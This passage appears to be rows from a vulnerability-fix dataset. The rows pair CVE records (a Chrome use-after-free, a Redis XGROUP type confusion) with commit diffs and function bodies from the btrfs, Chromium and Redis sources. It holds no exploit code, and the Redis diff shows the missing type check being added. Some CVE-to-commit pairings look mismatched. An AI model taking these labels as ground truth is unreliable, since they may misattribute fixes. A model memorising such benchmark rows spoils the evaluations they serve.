NULL;\n+\t}\n \n+\tret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode),\n+\t\t\t\t name, name_len, value, size);\n+\tif (ret == -EOVERFLOW) {\n \t\t/*\n-\t\t * remove the attribute\n+\t\t * We have an existing item in a leaf, split_leaf couldn't\n+\t\t * expand it. That item might have or not a dir_item that\n+\t\t * matches our target xattr, so lets check.\n \t\t */\n-\t\tif (!value)\n-\t\t\tgoto out;\n-\t} else {\n-\t\tdi = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode),\n-\t\t\t\t\tname, name_len, 0);\n-\t\tif (IS_ERR(di)) {\n-\t\t\tret = PTR_ERR(di);\n+\t\tret = 0;\n+\t\tbtrfs_assert_tree_locked(path->nodes[0]);\n+\t\tdi = btrfs_match_dir_item_name(root, path, name, name_len);\n+\t\tif (!di && !(flags & XATTR_REPLACE)) {\n+\t\t\tret = -ENOSPC;\n \t\t\tgoto out;\n \t\t}\n-\t\tif (!di && !value)\n-\t\t\tgoto out;\n-\t\tbtrfs_release_path(path);\n+\t} else if (ret == -EEXIST) {\n+\t\tret = 0;\n+\t\tdi = btrfs_match_dir_item_name(root, path, name, name_len);\n+\t\tASSERT(di); /* logic error */\n+\t} else if (ret) {\n+\t\tgoto out;\n \t}\n \n-again:\n-\tret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode),\n-\t\t\t\t name, name_len, value, size);\n-\t/*\n-\t * If we're setting an xattr to a new value but the new value is say\n-\t * exactly BTRFS_MAX_XATTR_SIZE, we could end up with EOVERFLOW getting\n-\t * back from split_leaf. This is because it thinks we'll be extending\n-\t * the existing item size, but we're asking for enough space to add the\n-\t * item itself. So if we get EOVERFLOW just set ret to EEXIST and let\n-\t * the rest of the function figure it out.\n-\t */\n-\tif (ret == -EOVERFLOW)\n+\tif (di && (flags & XATTR_CREATE)) {\n \t\tret = -EEXIST;\n+\t\tgoto out;\n+\t}\n \n-\tif (ret == -EEXIST) {\n-\t\tif (flags & XATTR_CREATE)\n-\t\t\tgoto out;\n+\tif (di) {\n \t\t/*\n-\t\t * We can't use the path we already have since we won't have the\n-\t\t * proper locking for a delete, so release the path and\n-\t\t * re-lookup to delete the thing.\n+\t\t * We're doing a replace, and it must be atomic, that is, at\n+\t\t * any point in time we have either the old or the new xattr\n+\t\t * value in the tree. We don't want readers (getxattr and\n+\t\t * listxattrs) to miss a value, this is specially important\n+\t\t * for ACLs.\n \t\t */\n-\t\tbtrfs_release_path(path);\n-\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode),\n-\t\t\t\t\tname, name_len, -1);\n-\t\tif (IS_ERR(di)) {\n-\t\t\tret = PTR_ERR(di);\n-\t\t\tgoto out;\n-\t\t} else if (!di) {\n-\t\t\t/* Shouldn't happen but just in case... */\n-\t\t\tbtrfs_release_path(path);\n-\t\t\tgoto again;\n+\t\tconst int slot = path->slots[0];\n+\t\tstruct extent_buffer *leaf = path->nodes[0];\n+\t\tconst u16 old_data_len = btrfs_dir_data_len(leaf, di);\n+\t\tconst u32 item_size = btrfs_item_size_nr(leaf, slot);\n+\t\tconst u32 data_size = sizeof(*di) + name_len + size;\n+\t\tstruct btrfs_item *item;\n+\t\tunsigned long data_ptr;\n+\t\tchar *ptr;\n+\n+\t\tif (size > old_data_len) {\n+\t\t\tif (btrfs_leaf_free_space(root, leaf) <\n+\t\t\t (size - old_data_len)) {\n+\t\t\t\tret = -ENOSPC;\n+\t\t\t\tgoto out;\n+\t\t\t}\n \t\t}\n \n-\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n-\t\tif (ret)\n-\t\t\tgoto out;\n+\t\tif (old_data_len + name_len + sizeof(*di) == item_size) {\n+\t\t\t/* No other xattrs packed in the same leaf item. */\n+\t\t\tif (size > old_data_len)\n+\t\t\t\tbtrfs_extend_item(root, path,\n+\t\t\t\t\t\t size - old_data_len);\n+\t\t\telse if (size < old_data_len)\n+\t\t\t\tbtrfs_truncate_item(root, path, data_size, 1);\n+\t\t} else {\n+\t\t\t/* There are other xattrs packed in the same item. */\n+\t\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n+\t\t\tif (ret)\n+\t\t\t\tgoto out;\n+\t\t\tbtrfs_extend_item(root, path, data_size);\n+\t\t}\n \n+\t\titem = btrfs_item_nr(slot);\n+\t\tptr = btrfs_item_ptr(leaf, slot, char);\n+\t\tptr += btrfs_item_size(leaf, item) - data_size;\n+\t\tdi = (struct btrfs_dir_item *)ptr;\n+\t\tbtrfs_set_dir_data_len(leaf, di, size);\n+\t\tdata_ptr = ((unsigned long)(di + 1)) + name_len;\n+\t\twrite_extent_buffer(leaf, value, data_ptr, size);\n+\t\tbtrfs_mark_buffer_dirty(leaf);\n+\t} else {\n \t\t/*\n-\t\t * We have a value to set, so go back and try to insert it now.\n+\t\t * Insert, and we had space for the xattr, so path->slots[0] is\n+\t\t * where our xattr dir_item is and btrfs_insert_xattr_item()\n+\t\t * filled it.\n \t\t */\n-\t\tif (value) {\n-\t\t\tbtrfs_release_path(path);\n-\t\t\tgoto again;\n-\t\t}\n \t}\n out:\n \tbtrfs_free_path(path);"}
|
void btrfs_free_path(struct btrfs_path *p)
{
if (!p)
return;
btrfs_release_path(p);
kmem_cache_free(btrfs_path_cachep, p);
}
|
void btrfs_free_path(struct btrfs_path *p)
{
if (!p)
return;
btrfs_release_path(p);
kmem_cache_free(btrfs_path_cachep, p);
}
|
C
| null | null | null |
@@ -2939,7 +2939,7 @@ int btrfs_search_slot(struct btrfs_trans_handle *trans, struct btrfs_root
*/
if (!p->leave_spinning)
btrfs_set_path_blocking(p);
- if (ret < 0)
+ if (ret < 0 && !p->skip_release_on_error)
btrfs_release_path(p);
return ret;
}
|
linux
|
5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339
|
c7bc6319c59cc791743cf1b6e98f86be69444495
| 0
|
void btrfs_free_path(struct btrfs_path *p)
{
if (!p)
return;
btrfs_release_path(p);
kmem_cache_free(btrfs_path_cachep, p);
}
|
152,432
| null |
Remote
|
Not required
|
Partial
|
CVE-2017-5019
|
https://www.cvedetails.com/cve/CVE-2017-5019/
|
CWE-416
|
Medium
|
Partial
|
Partial
| null |
2017-02-17
| 6.8
|
A use after free in Google Chrome prior to 56.0.2924.76 for Linux, Windows and Mac, and 56.0.2924.87 for Android, allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
|
2018-01-04
| null | 0
|
https://github.com/chromium/chromium/commit/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
| 0
|
content/renderer/render_frame_impl.cc
|
{"sha": "f2bd60be6f35037de28774456df91833dd753f20", "filename": "content/browser/frame_host/render_frame_host_impl.cc", "status": "modified", "additions": 23, "deletions": 11, "changes": 34, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/frame_host/render_frame_host_impl.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -1375,8 +1375,6 @@ bool RenderFrameHostImpl::OnMessageReceived(const IPC::Message &msg) {\n \n handled = true;\n IPC_BEGIN_MESSAGE_MAP(RenderFrameHostImpl, msg)\n- IPC_MESSAGE_HANDLER(FrameHostMsg_DidAddMessageToConsole,\n- OnDidAddMessageToConsole)\n IPC_MESSAGE_HANDLER(FrameHostMsg_Detach, OnDetach)\n IPC_MESSAGE_HANDLER(FrameHostMsg_FrameFocused, OnFrameFocused)\n IPC_MESSAGE_HANDLER(FrameHostMsg_DidFailProvisionalLoadWithError,\n@@ -1833,21 +1831,35 @@ void RenderFrameHostImpl::OnAudibleStateChanged(bool is_audible) {\n is_audible_ = is_audible;\n }\n \n-void RenderFrameHostImpl::OnDidAddMessageToConsole(\n- int32_t level,\n+void RenderFrameHostImpl::DidAddMessageToConsole(\n+ blink::mojom::ConsoleMessageLevel log_level,\n const base::string16& message,\n int32_t line_no,\n const base::string16& source_id) {\n- if (level < logging::LOG_VERBOSE || level > logging::LOG_FATAL) {\n- bad_message::ReceivedBadMessage(\n- GetProcess(), bad_message::RFH_DID_ADD_CONSOLE_MESSAGE_BAD_SEVERITY);\n- return;\n+ // TODO(https://crbug.com/786836): Update downstream code to use\n+ // ConsoleMessageLevel everywhere to avoid this conversion.\n+ logging::LogSeverity log_severity = logging::LOG_VERBOSE;\n+ switch (log_level) {\n+ case blink::mojom::ConsoleMessageLevel::kVerbose:\n+ log_severity = logging::LOG_VERBOSE;\n+ break;\n+ case blink::mojom::ConsoleMessageLevel::kInfo:\n+ log_severity = logging::LOG_INFO;\n+ break;\n+ case blink::mojom::ConsoleMessageLevel::kWarning:\n+ log_severity = logging::LOG_WARNING;\n+ break;\n+ case blink::mojom::ConsoleMessageLevel::kError:\n+ log_severity = logging::LOG_ERROR;\n+ break;\n }\n \n- if (delegate_->DidAddMessageToConsole(level, message, line_no, source_id))\n+ if (delegate_->DidAddMessageToConsole(log_severity, message, line_no,\n+ source_id)) {\n return;\n+ }\n \n- // Pass through log level only on builtin components pages to limit console\n+ // Pass through log severity only on builtin components pages to limit console\n // spew.\n const bool is_builtin_component =\n HasWebUIScheme(delegate_->GetMainFrameLastCommittedURL()) ||\n@@ -1856,7 +1868,7 @@ void RenderFrameHostImpl::OnDidAddMessageToConsole(\n const bool is_off_the_record =\n GetSiteInstance()->GetBrowserContext()->IsOffTheRecord();\n \n- LogConsoleMessage(level, message, line_no, is_builtin_component,\n+ LogConsoleMessage(log_severity, message, line_no, is_builtin_component,\n is_off_the_record, source_id);\n }\n "}<_**next**_>{"sha": "bee010704ea0be084eb5752717d8dcaeb46c04c0", "filename": "content/browser/frame_host/render_frame_host_impl.h", "status": "modified", "additions": 5, "deletions": 4, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/frame_host/render_frame_host_impl.h?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -1049,10 +1049,6 @@ class CONTENT_EXPORT RenderFrameHostImpl\n class DroppedInterfaceRequestLogger;\n \n // IPC Message handlers.\n- void OnDidAddMessageToConsole(int32_t level,\n- const base::string16& message,\n- int32_t line_no,\n- const base::string16& source_id);\n void OnDetach();\n void OnFrameFocused();\n void OnOpenURL(const FrameHostMsg_OpenURL_Params& params);\n@@ -1206,6 +1202,11 @@ class CONTENT_EXPORT RenderFrameHostImpl\n void FullscreenStateChanged(bool is_fullscreen) override;\n void DocumentOnLoadCompleted() override;\n void UpdateActiveSchedulerTrackedFeatures(uint64_t features_mask) override;\n+ void DidAddMessageToConsole(blink::mojom::ConsoleMessageLevel log_level,\n+ const base::string16& message,\n+ int32_t line_no,\n+ const base::string16& source_id) override;\n+\n #if defined(OS_ANDROID)\n void UpdateUserGestureCarryoverInfo() override;\n #endif"}<_**next**_>{"sha": "35ad6ce3ce3aca5a9e47d54a8bcf1b3f381a00b5", "filename": "content/browser/service_worker/service_worker_context_core.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/service_worker/service_worker_context_core.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/service_worker/service_worker_context_core.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/service_worker/service_worker_context_core.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -786,7 +786,7 @@ void ServiceWorkerContextCore::OnReportConsoleMessage(\n const GURL& source_url) {\n DCHECK_CURRENTLY_ON(BrowserThread::IO);\n // NOTE: This differs slightly from\n- // RenderFrameHostImpl::OnDidAddMessageToConsole, which also asks the\n+ // RenderFrameHostImpl::DidAddMessageToConsole, which also asks the\n // content embedder whether to classify the message as a builtin component.\n // This is called on the IO thread, though, so we can't easily get a\n // BrowserContext and call ContentBrowserClient::IsBuiltinComponent()."}<_**next**_>{"sha": "88471bc49cd5b00a9494cc3998ba9c44c2c87088", "filename": "content/common/frame.mojom", "status": "modified", "additions": 9, "deletions": 0, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame.mojom", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame.mojom", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/frame.mojom?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -21,6 +21,7 @@ import \"services/service_manager/public/mojom/interface_provider.mojom\";\n import \"services/viz/public/interfaces/compositing/surface_id.mojom\";\n import \"third_party/blink/public/mojom/blob/blob_url_store.mojom\";\n import \"third_party/blink/public/mojom/commit_result/commit_result.mojom\";\n+import \"third_party/blink/public/mojom/devtools/console_message.mojom\";\n import \"third_party/blink/public/mojom/feature_policy/feature_policy.mojom\";\n import \"third_party/blink/public/mojom/frame/lifecycle.mojom\";\n import \"third_party/blink/public/mojom/frame/navigation_initiator.mojom\";\n@@ -473,4 +474,12 @@ interface FrameHost {\n // of the individual bits.\n // TODO(altimin): Move into a separate scheduling interface.\n UpdateActiveSchedulerTrackedFeatures(uint64 features_mask);\n+\n+ // Blink and JavaScript error messages to log to the console or debugger UI.\n+ DidAddMessageToConsole(\n+ blink.mojom.ConsoleMessageLevel log_level,\n+ mojo_base.mojom.BigString16 msg,\n+ int32 line_number,\n+ mojo_base.mojom.String16 source_id);\n+\n };"}<_**next**_>{"sha": "aa3530d1912f804ba01a29be9b4b2178ce996e86", "filename": "content/common/frame_messages.h", "status": "modified", "additions": 0, "deletions": 8, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame_messages.h", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame_messages.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/frame_messages.h?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -1098,14 +1098,6 @@ IPC_MESSAGE_ROUTED0(FrameMsg_RenderFallbackContent)\n // -----------------------------------------------------------------------------\n // Messages sent from the renderer to the browser.\n \n-// Blink and JavaScript error messages to log to the console\n-// or debugger UI.\n-IPC_MESSAGE_ROUTED4(FrameHostMsg_DidAddMessageToConsole,\n- int32_t, /* log level */\n- base::string16, /* msg */\n- int32_t, /* line number */\n- base::string16 /* source id */)\n-\n // Sent by the renderer when a child frame is created in the renderer.\n //\n // Each of these messages will have a corresponding FrameHostMsg_Detach message"}<_**next**_>{"sha": "d103dd35fa8ce0773f0c3586d17beb2eaeaf8479", "filename": "content/renderer/render_frame_impl.cc", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_frame_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_frame_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_frame_impl.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -4545,9 +4545,9 @@ void RenderFrameImpl::DidAddMessageToConsole(\n }\n }\n \n- Send(new FrameHostMsg_DidAddMessageToConsole(\n- routing_id_, static_cast<int32_t>(log_severity), message.text.Utf16(),\n- static_cast<int32_t>(source_line), source_name.Utf16()));\n+ GetFrameHost()->DidAddMessageToConsole(message.level, message.text.Utf16(),\n+ static_cast<int32_t>(source_line),\n+ source_name.Utf16());\n }\n \n void RenderFrameImpl::DownloadURL("}<_**next**_>{"sha": "2c754dc7c905037b40d841c22103659b8a9cba35", "filename": "content/renderer/render_view_browsertest.cc", "status": "modified", "additions": 20, "deletions": 44, "changes": 64, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_view_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_view_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_view_browsertest.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -4,6 +4,7 @@\n \n #include <stddef.h>\n #include <stdint.h>\n+\n #include <tuple>\n \n #include \"base/bind.h\"\n@@ -17,6 +18,7 @@\n #include \"base/stl_util.h\"\n #include \"base/strings/string_util.h\"\n #include \"base/strings/utf_string_conversions.h\"\n+#include \"base/test/bind_test_util.h\"\n #include \"base/threading/thread_task_runner_handle.h\"\n #include \"base/time/time.h\"\n #include \"base/values.h\"\n@@ -2486,62 +2488,36 @@ TEST_F(RenderViewImplTest, HistoryIsProperlyUpdatedOnShouldClearHistoryList) {\n view()->HistoryForwardListCount() + 1);\n }\n \n-// IPC Listener that runs a callback when a console.log() is executed from\n-// javascript.\n-class ConsoleCallbackFilter : public IPC::Listener {\n- public:\n- explicit ConsoleCallbackFilter(\n- base::Callback<void(const base::string16&)> callback)\n- : callback_(callback) {}\n-\n- bool OnMessageReceived(const IPC::Message& msg) override {\n- bool handled = true;\n- IPC_BEGIN_MESSAGE_MAP(ConsoleCallbackFilter, msg)\n- IPC_MESSAGE_HANDLER(FrameHostMsg_DidAddMessageToConsole,\n- OnDidAddMessageToConsole)\n- IPC_MESSAGE_UNHANDLED(handled = false)\n- IPC_END_MESSAGE_MAP()\n- return handled;\n- }\n-\n- void OnDidAddMessageToConsole(int32_t,\n- const base::string16& message,\n- int32_t,\n- const base::string16&) {\n- callback_.Run(message);\n- }\n-\n- private:\n- base::Callback<void(const base::string16&)> callback_;\n-};\n-\n // Tests that there's no UaF after dispatchBeforeUnloadEvent.\n // See https://crbug.com/666714.\n TEST_F(RenderViewImplTest, DispatchBeforeUnloadCanDetachFrame) {\n LoadHTML(\n \"<script>window.onbeforeunload = function() { \"\n \"window.console.log('OnBeforeUnload called'); }</script>\");\n \n- // Creates a callback that swaps the frame when the 'OnBeforeUnload called'\n+ // Create a callback that swaps the frame when the 'OnBeforeUnload called'\n // log is printed from the beforeunload handler.\n- std::unique_ptr<ConsoleCallbackFilter> callback_filter(\n- new ConsoleCallbackFilter(base::Bind(\n- [](RenderFrameImpl* frame, const base::string16& msg) {\n- // Makes sure this happens during the beforeunload handler.\n- EXPECT_EQ(base::UTF8ToUTF16(\"OnBeforeUnload called\"), msg);\n-\n- // Swaps the main frame.\n- frame->OnMessageReceived(FrameMsg_SwapOut(\n- frame->GetRoutingID(), 1, false, FrameReplicationState()));\n- },\n- base::Unretained(frame()))));\n- render_thread_->sink().AddFilter(callback_filter.get());\n+ base::RunLoop run_loop;\n+ bool was_callback_run = false;\n+ frame()->SetDidAddMessageToConsoleCallback(\n+ base::BindOnce(base::BindLambdaForTesting([&](const base::string16& msg) {\n+ // Makes sure this happens during the beforeunload handler.\n+ EXPECT_EQ(base::UTF8ToUTF16(\"OnBeforeUnload called\"), msg);\n+\n+ // Swaps the main frame.\n+ frame()->OnMessageReceived(FrameMsg_SwapOut(\n+ frame()->GetRoutingID(), 1, false, FrameReplicationState()));\n+\n+ was_callback_run = true;\n+ run_loop.Quit();\n+ })));\n \n- // Simulates a BeforeUnload IPC received from the browser.\n+ // Simulate a BeforeUnload IPC received from the browser.\n frame()->OnMessageReceived(\n FrameMsg_BeforeUnload(frame()->GetRoutingID(), false));\n \n- render_thread_->sink().RemoveFilter(callback_filter.get());\n+ run_loop.Run();\n+ ASSERT_TRUE(was_callback_run);\n }\n \n // IPC Listener that runs a callback when a javascript modal dialog is"}<_**next**_>{"sha": "bdedd20f84277cc35ae59aec5e3cc2b62b75dc33", "filename": "content/test/test_render_frame.cc", "status": "modified", "additions": 22, "deletions": 0, "changes": 22, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/test/test_render_frame.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -47,6 +47,11 @@ class MockFrameHost : public mojom::FrameHost {\n return std::move(last_document_interface_broker_request_);\n }\n \n+ void SetDidAddMessageToConsoleCallback(\n+ base::OnceCallback<void(const base::string16& msg)> callback) {\n+ did_add_message_to_console_callback_ = std::move(callback);\n+ }\n+\n // Holds on to the request end of the InterfaceProvider interface whose client\n // end is bound to the corresponding RenderFrame's |remote_interfaces_| to\n // facilitate retrieving the most recent |interface_provider_request| in\n@@ -156,6 +161,15 @@ class MockFrameHost : public mojom::FrameHost {\n \n void UpdateActiveSchedulerTrackedFeatures(uint64_t features_mask) override {}\n \n+ void DidAddMessageToConsole(blink::mojom::ConsoleMessageLevel log_level,\n+ const base::string16& msg,\n+ int32_t line_number,\n+ const base::string16& source_id) override {\n+ if (did_add_message_to_console_callback_) {\n+ std::move(did_add_message_to_console_callback_).Run(msg);\n+ }\n+ }\n+\n #if defined(OS_ANDROID)\n void UpdateUserGestureCarryoverInfo() override {}\n #endif\n@@ -168,6 +182,9 @@ class MockFrameHost : public mojom::FrameHost {\n blink::mojom::DocumentInterfaceBrokerRequest\n last_document_interface_broker_request_;\n \n+ base::OnceCallback<void(const base::string16& msg)>\n+ did_add_message_to_console_callback_;\n+\n DISALLOW_COPY_AND_ASSIGN(MockFrameHost);\n };\n \n@@ -331,6 +348,11 @@ TestRenderFrame::TakeLastCommitParams() {\n return mock_frame_host_->TakeLastCommitParams();\n }\n \n+void TestRenderFrame::SetDidAddMessageToConsoleCallback(\n+ base::OnceCallback<void(const base::string16& msg)> callback) {\n+ mock_frame_host_->SetDidAddMessageToConsoleCallback(std::move(callback));\n+}\n+\n service_manager::mojom::InterfaceProviderRequest\n TestRenderFrame::TakeLastInterfaceProviderRequest() {\n return mock_frame_host_->TakeLastInterfaceProviderRequest();"}<_**next**_>{"sha": "7d719b24a9a6129485a09cbd2a9b6e3c68493b95", "filename": "content/test/test_render_frame.h", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.h", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/test/test_render_frame.h?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -68,6 +68,11 @@ class TestRenderFrame : public RenderFrameImpl {\n std::unique_ptr<FrameHostMsg_DidCommitProvisionalLoad_Params>\n TakeLastCommitParams();\n \n+ // Sets a callback to be run the next time DidAddMessageToConsole\n+ // is called (e.g. window.console.log() is called).\n+ void SetDidAddMessageToConsoleCallback(\n+ base::OnceCallback<void(const base::string16& msg)> callback);\n+\n service_manager::mojom::InterfaceProviderRequest\n TakeLastInterfaceProviderRequest();\n "}<_**next**_>{"sha": "e27564fc7676757363d8d4035d81fdc5e5a1f196", "filename": "third_party/blink/renderer/core/frame/navigation_rate_limiter.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/third_party/blink/renderer/core/frame/navigation_rate_limiter.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/third_party/blink/renderer/core/frame/navigation_rate_limiter.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/frame/navigation_rate_limiter.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -44,7 +44,7 @@ bool NavigationRateLimiter::CanProceed() {\n }\n \n // Display an error message. Do it only once in a while, else it will flood\n- // the browser process with the FrameHostMsg_DidAddMessageToConsole IPC.\n+ // the browser process with the DidAddMessageToConsole Mojo call.\n if (!error_message_sent_) {\n error_message_sent_ = true;\n if (auto* local_frame = DynamicTo<LocalFrame>(frame_.Get())) {"}
|
void RenderFrameImpl::OnEnableViewSourceMode() {
DCHECK(frame_);
DCHECK(!frame_->Parent());
frame_->EnableViewSourceMode(true);
}
|
void RenderFrameImpl::OnEnableViewSourceMode() {
DCHECK(frame_);
DCHECK(!frame_->Parent());
frame_->EnableViewSourceMode(true);
}
|
C
| null | null | null |
@@ -4545,9 +4545,9 @@ void RenderFrameImpl::DidAddMessageToConsole(
}
}
- Send(new FrameHostMsg_DidAddMessageToConsole(
- routing_id_, static_cast<int32_t>(log_severity), message.text.Utf16(),
- static_cast<int32_t>(source_line), source_name.Utf16()));
+ GetFrameHost()->DidAddMessageToConsole(message.level, message.text.Utf16(),
+ static_cast<int32_t>(source_line),
+ source_name.Utf16());
}
void RenderFrameImpl::DownloadURL(
|
Chrome
|
f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
c246049ec1b28d1af4fe3be886ac5904e1762026
| 0
|
void RenderFrameImpl::OnEnableViewSourceMode() {
DCHECK(frame_);
DCHECK(!frame_->Parent());
frame_->EnableViewSourceMode(true);
}
|
81,809
| null |
Remote
|
Not required
|
Partial
|
CVE-2018-12453
|
https://www.cvedetails.com/cve/CVE-2018-12453/
|
CWE-704
|
Low
| null | null | null |
2018-06-16
| 5
|
Type confusion in the xgroupCommand function in t_stream.c in redis-server in Redis before 5.0 allows remote attackers to cause denial-of-service via an XGROUP command in which the key is not a stream.
|
2018-08-14
| null | 0
|
https://github.com/antirez/redis/commit/c04082cf138f1f51cedf05ee9ad36fb6763cafc6
|
c04082cf138f1f51cedf05ee9ad36fb6763cafc6
|
Abort in XGROUP if the key is not a stream
| 0
|
src/t_stream.c
|
{"sha": "c48928018c04d68e68b0191e202144978fe327a4", "filename": "src/t_stream.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/antirez/redis/blob/c04082cf138f1f51cedf05ee9ad36fb6763cafc6/src/t_stream.c", "raw_url": "https://github.com/antirez/redis/raw/c04082cf138f1f51cedf05ee9ad36fb6763cafc6/src/t_stream.c", "contents_url": "https://api.github.com/repos/antirez/redis/contents/src/t_stream.c?ref=c04082cf138f1f51cedf05ee9ad36fb6763cafc6", "patch": "@@ -1576,7 +1576,7 @@ NULL\n /* Lookup the key now, this is common for all the subcommands but HELP. */\n if (c->argc >= 4) {\n robj *o = lookupKeyWriteOrReply(c,c->argv[2],shared.nokeyerr);\n- if (o == NULL) return;\n+ if (o == NULL || checkType(c,o,OBJ_STREAM)) return;\n s = o->ptr;\n grpname = c->argv[3]->ptr;\n "}
|
int64_t streamTrimByLength(stream *s, size_t maxlen, int approx) {
if (s->length <= maxlen) return 0;
raxIterator ri;
raxStart(&ri,s->rax);
raxSeek(&ri,"^",NULL,0);
int64_t deleted = 0;
while(s->length > maxlen && raxNext(&ri)) {
unsigned char *lp = ri.data, *p = lpFirst(lp);
int64_t entries = lpGetInteger(p);
/* Check if we can remove the whole node, and still have at
* least maxlen elements. */
if (s->length - entries >= maxlen) {
lpFree(lp);
raxRemove(s->rax,ri.key,ri.key_len,NULL);
raxSeek(&ri,">=",ri.key,ri.key_len);
s->length -= entries;
deleted += entries;
continue;
}
/* If we cannot remove a whole element, and approx is true,
* stop here. */
if (approx) break;
/* Otherwise, we have to mark single entries inside the listpack
* as deleted. We start by updating the entries/deleted counters. */
int64_t to_delete = s->length - maxlen;
serverAssert(to_delete < entries);
lp = lpReplaceInteger(lp,&p,entries-to_delete);
p = lpNext(lp,p); /* Seek deleted field. */
int64_t marked_deleted = lpGetInteger(p);
lp = lpReplaceInteger(lp,&p,marked_deleted+to_delete);
p = lpNext(lp,p); /* Seek num-of-fields in the master entry. */
/* Skip all the master fields. */
int64_t master_fields_count = lpGetInteger(p);
p = lpNext(lp,p); /* Seek the first field. */
for (int64_t j = 0; j < master_fields_count; j++)
p = lpNext(lp,p); /* Skip all master fields. */
p = lpNext(lp,p); /* Skip the zero master entry terminator. */
/* 'p' is now pointing to the first entry inside the listpack.
* We have to run entry after entry, marking entries as deleted
* if they are already not deleted. */
while(p) {
int flags = lpGetInteger(p);
int to_skip;
/* Mark the entry as deleted. */
